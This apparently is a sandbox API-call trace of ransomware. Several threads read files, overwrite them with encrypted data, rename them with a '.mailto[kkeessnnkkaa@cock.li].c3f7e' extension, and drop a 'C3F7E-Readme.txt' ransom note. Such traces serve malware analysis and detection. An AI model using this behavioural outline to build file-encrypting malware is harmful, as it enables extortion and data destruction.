	[0078.454] SetFilePointerEx (in: hFile=0x9ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.454] WriteFile (in: hFile=0x9ac, lpBuffer=0x4781040*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0xa28fdd8, lpOverlapped=0x0 | out: lpBuffer=0x4781040*, lpNumberOfBytesWritten=0xa28fdd8*=0x101, lpOverlapped=0x0) returned 1
	[0078.685] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781040) returned 1
	[0078.685] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34028) returned 1
	[0078.685] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e341b8) returned 1
	[0078.685] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e340f0) returned 1
	[0078.685] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34410) returned 1
	[0078.685] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724b80) returned 1
	[0078.685] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724ba8) returned 1
	[0078.685] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724838) returned 1
	[0078.685] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8e) returned 0x2d78a10
	[0078.685] wcscpy (in: _Dest=0x2d78a10, _Source="C:\\588bce7c90097ed212\\1044\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned="C:\\588bce7c90097ed212\\1044\\eula.rtf"
	[0078.685] wcscat (in: _Dest=0x2d78a10, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1044\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1044\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0078.685] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1044\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xa28fd90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1044\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0078.685] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d5dcf8
	[0078.686] NtSetInformationFile (FileHandle=0x9ac, IoStatusBlock=0xa28fd88, FileInformation=0x2d5dcf8, Length=0xa4, FileInformationClass=0xa) returned 0x0
	[0078.742] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5dcf8) returned 1
	[0078.742] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2b078) returned 1
	[0078.742] NtQueryInformationFile (in: FileHandle=0x9ac, IoStatusBlock=0xa28fd9c, FileInformation=0xa28fd74, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xa28fd9c, FileInformation=0xa28fd74) returned 0x0
	[0078.742] NtSetInformationFile (FileHandle=0x9ac, IoStatusBlock=0xa28fd9c, FileInformation=0xa28fd74, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0078.745] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78a10) returned 1
	[0078.746] FlushFileBuffers (hFile=0x9ac) returned 1
	[0080.085] CloseHandle (hObject=0x9ac) returned 1
	[0080.187] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47808b0
	[0080.187] wcscpy (in: _Dest=0x47808b0, _Source="C:\\588bce7c90097ed212\\1044\\" | out: _Dest="C:\\588bce7c90097ed212\\1044\\") returned="C:\\588bce7c90097ed212\\1044\\"
	[0080.187] wcscat (in: _Dest=0x47808b0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1044\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1044\\C3F7E-Readme.txt"
	[0080.187] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1044\\c3f7e-readme.txt")) returned 0xffffffff
	[0080.187] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1044\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1334
	[0080.262] WriteFile (in: hFile=0x1334, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0xa28fd98, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0xa28fd98*=0x6f6, lpOverlapped=0x0) returned 1
	[0080.263] CloseHandle (hObject=0x1334) returned 1
	[0080.265] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47808b0) returned 1
	[0080.265] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730830) returned 1

Thread:
	id = 201
	os_tid = 0x97c

	[0075.978] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 0x80
	[0075.978] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml", dwFileAttributes=0x20) returned 1
	[0075.978] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9b0
	[0075.979] GetFileSizeEx (in: hFile=0x9b0, lpFileSize=0xa30f9b8 | out: lpFileSize=0xa30f9b8*=79296) returned 1
	[0075.979] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0x135bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.979] ReadFile (in: hFile=0x9b0, lpBuffer=0xa30f93c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa30f938, lpOverlapped=0x0 | out: lpBuffer=0xa30f93c*, lpNumberOfBytesRead=0xa30f938*=0x4, lpOverlapped=0x0) returned 1
	[0075.980] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.980] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724bf8
	[0075.980] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724bd0
	[0075.980] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724a68
	[0075.980] NtQuerySystemTime (in: CurrentTime=0xa30f918 | out: CurrentTime=0xa30f918*=132251868027159129) returned 0x0
	[0075.980] RtlRandom (in: Seed=0xa30f924 | out: Seed=0xa30f924) returned 0xd8479046
	[0075.980] RtlRandom (in: Seed=0xa30f924 | out: Seed=0xa30f924) returned 0xca62752c
	[0075.980] RtlRandom (in: Seed=0xa30f924 | out: Seed=0xa30f924) returned 0xeb703366
	[0075.980] RtlRandom (in: Seed=0xa30f924 | out: Seed=0xa30f924) returned 0x1365ef3c
	[0075.980] RtlRandom (in: Seed=0xa30f924 | out: Seed=0xa30f924) returned 0x33ab233a
	[0075.980] RtlRandom (in: Seed=0xa30f924 | out: Seed=0xa30f924) returned 0x9897b3b2
	[0075.980] RtlRandom (in: Seed=0xa30f924 | out: Seed=0xa30f924) returned 0xd6991341
	[0075.980] RtlRandom (in: Seed=0xa30f924 | out: Seed=0xa30f924) returned 0xbb2c8ce9
	[0075.980] RtlRandom (in: Seed=0xa30f924 | out: Seed=0xa30f924) returned 0x31828d00
	[0075.980] RtlRandom (in: Seed=0xa30f924 | out: Seed=0xa30f924) returned 0x508dac7b
	[0075.980] RtlRandom (in: Seed=0xa30f924 | out: Seed=0xa30f924) returned 0xcb9d9f9
	[0075.980] RtlRandom (in: Seed=0xa30f924 | out: Seed=0xa30f924) returned 0x14ee635a
	[0075.980] RtlRandom (in: Seed=0xa30f924 | out: Seed=0xa30f924) returned 0xbe2707f1
	[0075.980] RtlRandom (in: Seed=0xa30f924 | out: Seed=0xa30f924) returned 0x2086dc8c
	[0075.980] RtlRandom (in: Seed=0xa30f924 | out: Seed=0xa30f924) returned 0x25ae6fbd
	[0075.980] RtlRandom (in: Seed=0xa30f924 | out: Seed=0xa30f924) returned 0x40e121f2
	[0075.980] RtlRandom (in: Seed=0xa30f924 | out: Seed=0xa30f924) returned 0xbf99a652
	[0075.980] RtlRandom (in: Seed=0xa30f924 | out: Seed=0xa30f924) returned 0xc9910f6d
	[0075.980] RtlRandom (in: Seed=0xa30f924 | out: Seed=0xa30f924) returned 0xd0a2366
	[0075.980] RtlRandom (in: Seed=0xa30f924 | out: Seed=0xa30f924) returned 0x3c3975ee
	[0075.980] RtlRandom (in: Seed=0xa30f924 | out: Seed=0xa30f924) returned 0x2b6d7d07
	[0075.980] RtlRandom (in: Seed=0xa30f924 | out: Seed=0xa30f924) returned 0xe7f1ca15
	[0075.981] RtlRandom (in: Seed=0xa30f924 | out: Seed=0xa30f924) returned 0x95ead04b
	[0075.981] RtlRandom (in: Seed=0xa30f924 | out: Seed=0xa30f924) returned 0xb54ca171
	[0075.981] RtlRandom (in: Seed=0xa30f924 | out: Seed=0xa30f924) returned 0x2c46a8ac
	[0075.981] RtlRandom (in: Seed=0xa30f924 | out: Seed=0xa30f924) returned 0xad3939
	[0075.981] RtlRandom (in: Seed=0xa30f924 | out: Seed=0xa30f924) returned 0x2ae7dd04
	[0075.981] RtlRandom (in: Seed=0xa30f924 | out: Seed=0xa30f924) returned 0x7d2ed2a6
	[0075.981] RtlRandom (in: Seed=0xa30f924 | out: Seed=0xa30f924) returned 0x3b6a0a81
	[0075.981] RtlRandom (in: Seed=0xa30f924 | out: Seed=0xa30f924) returned 0x5ee0d1b3
	[0075.981] RtlRandom (in: Seed=0xa30f924 | out: Seed=0xa30f924) returned 0x7398da0b
	[0075.981] RtlRandom (in: Seed=0xa30f924 | out: Seed=0xa30f924) returned 0x6d6073d7
	[0075.990] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.990] ReadFile (in: hFile=0x9b0, lpBuffer=0x49788e8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xa30f8f8, lpOverlapped=0x0 | out: lpBuffer=0x49788e8*, lpNumberOfBytesRead=0xa30f8f8*=0xc800, lpOverlapped=0x0) returned 1
	[0075.992] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.992] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d739c0
	[0075.992] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04d38
	[0075.992] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724bf8
	[0075.992] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724bf8) returned 1
	[0075.993] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4e10048
	[0075.996] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724c70
	[0075.996] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724c98
	[0075.996] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724c98) returned 1
	[0075.996] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04d38) returned 1
	[0075.996] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d739c0) returned 1
	[0075.996] WriteFile (in: hFile=0x9b0, lpBuffer=0x4e10048*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xa30f8f8, lpOverlapped=0x0 | out: lpBuffer=0x4e10048*, lpNumberOfBytesWritten=0xa30f8f8*=0xc800, lpOverlapped=0x0) returned 1
	[0078.516] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e10048) returned 1
	[0078.516] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49788e8) returned 1
	[0078.521] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x4764850
	[0078.521] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfad60
	[0078.521] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753728
	[0078.521] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34398
	[0078.521] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34398) returned 1
	[0078.521] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x4765030
	[0078.522] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34398
	[0078.522] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e343c0
	[0078.522] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e343c0) returned 1
	[0078.522] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753728) returned 1
	[0078.522] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfad60) returned 1
	[0078.522] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x113) returned 0x4772520
	[0078.522] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.522] WriteFile (in: hFile=0x9b0, lpBuffer=0x4772520*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0xa30f978, lpOverlapped=0x0 | out: lpBuffer=0x4772520*, lpNumberOfBytesWritten=0xa30f978*=0x113, lpOverlapped=0x0) returned 1
	[0078.653] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4772520) returned 1
	[0078.653] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4765030) returned 1
	[0078.653] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34398) returned 1
	[0078.653] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4764850) returned 1
	[0078.653] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724c70) returned 1
	[0078.653] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724bd0) returned 1
	[0078.653] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724c20) returned 1
	[0078.653] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724860) returned 1
	[0078.653] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x49865c0
	[0078.653] wcscpy (in: _Dest=0x49865c0, _Source="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml"
	[0078.653] wcscat (in: _Dest=0x49865c0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0078.653] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xa30f930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0078.653] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x4769968
	[0078.653] NtSetInformationFile (FileHandle=0x9b0, IoStatusBlock=0xa30f928, FileInformation=0x4769968, Length=0xb6, FileInformationClass=0xa) returned 0x0
	[0078.740] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4769968) returned 1
	[0078.740] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5d1f8) returned 1
	[0078.740] NtQueryInformationFile (in: FileHandle=0x9b0, IoStatusBlock=0xa30f93c, FileInformation=0xa30f914, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xa30f93c, FileInformation=0xa30f914) returned 0x0
	[0078.740] NtSetInformationFile (FileHandle=0x9b0, IoStatusBlock=0xa30f93c, FileInformation=0xa30f914, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0078.741] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49865c0) returned 1
	[0078.741] FlushFileBuffers (hFile=0x9b0) returned 1
	[0080.090] CloseHandle (hObject=0x9b0) returned 1
	[0080.191] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x4780bf0
	[0080.191] wcscpy (in: _Dest=0x4780bf0, _Source="C:\\588bce7c90097ed212\\1044\\" | out: _Dest="C:\\588bce7c90097ed212\\1044\\") returned="C:\\588bce7c90097ed212\\1044\\"
	[0080.191] wcscat (in: _Dest=0x4780bf0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1044\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1044\\C3F7E-Readme.txt"
	[0080.191] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1044\\c3f7e-readme.txt")) returned 0x20
	[0080.264] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780bf0) returned 1
	[0080.264] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d79dc8) returned 1

Thread:
	id = 202
	os_tid = 0xa58

	[0075.991] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 0x80
	[0075.998] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf", dwFileAttributes=0x20) returned 1
	[0075.998] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9b4
	[0075.998] GetFileSizeEx (in: hFile=0x9b4, lpFileSize=0xa38fea0 | out: lpFileSize=0xa38fea0*=4040) returned 1
	[0075.998] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0xfc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.998] ReadFile (in: hFile=0x9b4, lpBuffer=0xa38fe24, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa38fe20, lpOverlapped=0x0 | out: lpBuffer=0xa38fe24*, lpNumberOfBytesRead=0xa38fe20*=0x4, lpOverlapped=0x0) returned 1
	[0076.000] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.000] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724a68
	[0076.000] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724bf8
	[0076.000] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724888
	[0076.000] NtQuerySystemTime (in: CurrentTime=0xa38fe00 | out: CurrentTime=0xa38fe00*=132251868027315147) returned 0x0
	[0076.000] RtlRandom (in: Seed=0xa38fe0c | out: Seed=0xa38fe0c) returned 0x8577b0f
	[0076.000] RtlRandom (in: Seed=0xa38fe0c | out: Seed=0xa38fe0c) returned 0x96bcb905
	[0076.000] RtlRandom (in: Seed=0xa38fe0c | out: Seed=0xa38fe0c) returned 0x29dfd6ef
	[0076.000] RtlRandom (in: Seed=0xa38fe0c | out: Seed=0xa38fe0c) returned 0xe6dbbac0
	[0076.000] RtlRandom (in: Seed=0xa38fe0c | out: Seed=0xa38fe0c) returned 0x2111f241
	[0076.000] RtlRandom (in: Seed=0xa38fe0c | out: Seed=0xa38fe0c) returned 0x6090a071
	[0076.000] RtlRandom (in: Seed=0xa38fe0c | out: Seed=0xa38fe0c) returned 0xf35f71ca
	[0076.000] RtlRandom (in: Seed=0xa38fe0c | out: Seed=0xa38fe0c) returned 0xb7d1a041
	[0076.000] RtlRandom (in: Seed=0xa38fe0c | out: Seed=0xa38fe0c) returned 0x677bd7de
	[0076.000] RtlRandom (in: Seed=0xa38fe0c | out: Seed=0xa38fe0c) returned 0x3efd669f
	[0076.000] RtlRandom (in: Seed=0xa38fe0c | out: Seed=0xa38fe0c) returned 0xe8dad79a
	[0076.000] RtlRandom (in: Seed=0xa38fe0c | out: Seed=0xa38fe0c) returned 0xe996af8f
	[0076.000] RtlRandom (in: Seed=0xa38fe0c | out: Seed=0xa38fe0c) returned 0xb13b0d5a
	[0076.000] RtlRandom (in: Seed=0xa38fe0c | out: Seed=0xa38fe0c) returned 0x634cacd5
	[0076.000] RtlRandom (in: Seed=0xa38fe0c | out: Seed=0xa38fe0c) returned 0x5097950f
	[0076.000] RtlRandom (in: Seed=0xa38fe0c | out: Seed=0xa38fe0c) returned 0xc0262878
	[0076.000] RtlRandom (in: Seed=0xa38fe0c | out: Seed=0xa38fe0c) returned 0xbf1c3bb8
	[0076.000] RtlRandom (in: Seed=0xa38fe0c | out: Seed=0xa38fe0c) returned 0x3f711392
	[0076.000] RtlRandom (in: Seed=0xa38fe0c | out: Seed=0xa38fe0c) returned 0x71fa4806
	[0076.000] RtlRandom (in: Seed=0xa38fe0c | out: Seed=0xa38fe0c) returned 0x3b1f35b3
	[0076.000] RtlRandom (in: Seed=0xa38fe0c | out: Seed=0xa38fe0c) returned 0x787b8c1c
	[0076.000] RtlRandom (in: Seed=0xa38fe0c | out: Seed=0xa38fe0c) returned 0x7c4abcc7
	[0076.000] RtlRandom (in: Seed=0xa38fe0c | out: Seed=0xa38fe0c) returned 0xcf2fe6c9
	[0076.000] RtlRandom (in: Seed=0xa38fe0c | out: Seed=0xa38fe0c) returned 0x1a61c030
	[0076.000] RtlRandom (in: Seed=0xa38fe0c | out: Seed=0xa38fe0c) returned 0x7752c3b2
	[0076.000] RtlRandom (in: Seed=0xa38fe0c | out: Seed=0xa38fe0c) returned 0x2c2f43be
	[0076.000] RtlRandom (in: Seed=0xa38fe0c | out: Seed=0xa38fe0c) returned 0xb0ba1c25
	[0076.000] RtlRandom (in: Seed=0xa38fe0c | out: Seed=0xa38fe0c) returned 0x4a312b5a
	[0076.000] RtlRandom (in: Seed=0xa38fe0c | out: Seed=0xa38fe0c) returned 0xd58c73ed
	[0076.000] RtlRandom (in: Seed=0xa38fe0c | out: Seed=0xa38fe0c) returned 0x8ca14f7b
	[0076.000] RtlRandom (in: Seed=0xa38fe0c | out: Seed=0xa38fe0c) returned 0x544a49fb
	[0076.000] RtlRandom (in: Seed=0xa38fe0c | out: Seed=0xa38fe0c) returned 0x8778ab84
	[0076.010] ReadFile (in: hFile=0x9b4, lpBuffer=0x4e1c850, nNumberOfBytesToRead=0xfc8, lpNumberOfBytesRead=0xa38fdfc, lpOverlapped=0x0 | out: lpBuffer=0x4e1c850*, lpNumberOfBytesRead=0xa38fdfc*=0xfc8, lpOverlapped=0x0) returned 1
	[0076.010] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.010] WriteFile (in: hFile=0x9b4, lpBuffer=0x4e29058*, nNumberOfBytesToWrite=0xfc8, lpNumberOfBytesWritten=0xa38fdf8, lpOverlapped=0x0 | out: lpBuffer=0x4e29058*, lpNumberOfBytesWritten=0xa38fdf8*=0xfc8, lpOverlapped=0x0) returned 1
	[0076.012] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724c98
	[0076.012] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47247c0
	[0076.012] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47247c0) returned 1
	[0076.012] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e29058) returned 1
	[0076.012] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e1c850) returned 1
	[0076.012] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04e28) returned 1
	[0076.012] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d739c0) returned 1
	[0076.012] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x47249c8
	[0076.012] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.012] WriteFile (in: hFile=0x9b4, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0xa38fe60, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0xa38fe60*=0x101, lpOverlapped=0x0) returned 1
	[0076.015] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0076.015] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47247c0) returned 1
	[0076.015] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47248d8) returned 1
	[0076.015] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47249c8) returned 1
	[0076.015] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724c98) returned 1
	[0076.015] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724bf8) returned 1
	[0076.015] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47248b0) returned 1
	[0076.015] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724c48) returned 1
	[0076.015] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8e) returned 0x2d78d08
	[0076.015] wcscpy (in: _Dest=0x2d78d08, _Source="C:\\588bce7c90097ed212\\1045\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned="C:\\588bce7c90097ed212\\1045\\eula.rtf"
	[0076.015] wcscat (in: _Dest=0x2d78d08, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1045\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1045\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0076.015] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1045\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xa38fe18, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1045\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0076.015] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d60f50
	[0076.029] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d60f50) returned 1
	[0076.029] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2af38) returned 1
